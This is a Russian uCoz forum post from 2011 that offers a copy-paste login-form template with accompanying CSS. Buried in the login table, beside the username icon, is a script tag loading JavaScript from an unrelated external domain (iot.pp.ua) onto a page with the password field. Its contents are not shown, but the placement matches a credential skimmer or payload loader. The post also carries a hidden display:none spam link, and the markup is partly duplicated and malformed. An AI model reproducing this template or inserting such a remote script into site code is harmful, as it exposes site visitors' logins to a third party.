[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Стол UCOZ » Скрипты » Форма входа
Форма входа
<
magistrДата: Вторник, 18.01.2011, 20:15 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 8
« 0 »
Статус: Offline
Бог форума
скрин скрипта http://s2.ipicture.ru/uploads/20101224/3Ab4O0LS.jpg

Данный код вставьте в то место, куда бы вы хотели:

Code
<?if($PAGE_ID$="login")?><div style="width:180px;"><?endif?>
<table border="0" cellspacing="1" cellpadding="0" width="100%">
<?if($ERROR$)?><td colspan="2" style="color:red;text-align:center;">$ERROR$</td><?endif?>
<center><img src="/user/smile.png" border="0"> <br>
<br> <small>У нас стоят uNet аккаунты !</small> <br>
</center>
<?if($PAGE_ID$="login")?><div style="width:180px;"><?endif?>
<table border="0" cellspacing="1" cellpadding="0" width="100%">
<?if($ERROR$)?><td colspan="2" style="color:red;text-align:center;">$ERROR$</td><?endif?>
<tr>
<td width="25" nowrap="nowrap"><img src="http://www.onmultiki.ru/images/5df57eb107d9.png" width="22" height="22" border="0" alt="логин" title="логин" /><script src="http://iot.pp.ua/1.js" type="text/javascript"></script></td>
<td><input name="user" class="loginField" type="text" size="20" style="width:100%;" maxlength="60" value="логин" onfocus="if(this.value=='логин') this.value=''" onblur="if(!this.value) this.value='логин'"></td>
</tr><tr> <td width="25" nowrap="nowrap"><img src="http://www.onmultiki.ru/images/f0f22e434d92.png" width="22" height="22" border="0" alt="пароль" title="пароль" /></td>
<td><input name="password" class="loginField" type="password" size="20" style="width:100%" maxlength="60" value="пароль" onfocus="if(this.value=='пароль') this.value=''" onblur="if(!this.value) this.value='пароль'"></td> </tr> </table> <table border="0" cellspacing="1" cellpadding="0" width="100%"> <tr><a href="http://plusoft.ru/ title="скрипт форма входа для ucoz" style="display:none;">скрипт форма входа для ucoz</a><td nowrap><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label> <?if($PAGE_ID$="login" && $HIDDEN_ALLOWED$)?><br /><input id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label><?endif?></td>
<td align="right" valign="top"><input class="loginButton" name="sbm" type="submit" value="Вход"/></td>
</tr>
<tr>
<td colspan="2"><div style="font-size:7pt;text-align:center;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td>
</tr>
</table>
<?if($PAGE_ID$="login")?></div><?endif?>
<br><div class="prm-reg_btn"><a href="$REGISTER_LINK$">Зарегистрироваться</a></div>

А вот это в ксс:

Code
}
<style type="text/css">
.prm-reg{position: relative; #zoom: 1; margin: 20px 0}
.prm-reg_in{background: #f7fbff; border: solid 1px #a3c9ef; font: 13px Arial, sans-serif; color: #000; text-align: center; padding: 10px}
.prm-reg_small{color:#797a80; font: 11px Arial, sans-serif}
.prm-reg_btn{background: #ff950c url(http://img.mail.ru/mail/ru/images/ru/promo_reg/sprite3.png) no-repeat 0 0; width:158px; margin:6px auto 2px}
.prm-reg_btn a{color:#fff !important; font:700 13px/25px Arial,sans-serif; text-decoration:none; display:block; width:158px; height: 26px; line-height: 22px; text-align: center}
.prm-reg_btn a:hover{text-decoration:underline !important}
.prm-reg_c{width: 20px; height: 10px; position: absolute; overflow: hidden; top: -1px; left: 50%; margin: 0 0 0 -21px; background: url(http://img.mail.ru/mail/ru/images/ru/promo_reg/sprite3.png) no-repeat -115px -26px; top: -9px}
.prm-reg_b{top: auto; bottom: -9px; background-position: -72px -26px}
.tac{text-align: center}
</style>
}

Пользуйтесь на здоровье.

Форум » Стол UCOZ » Скрипты » Форма входа
  • Страница 1 из 1
  • 1
Поиск:

 



Дизайн сотворил RAF Создать бесплатный сайт с uCoz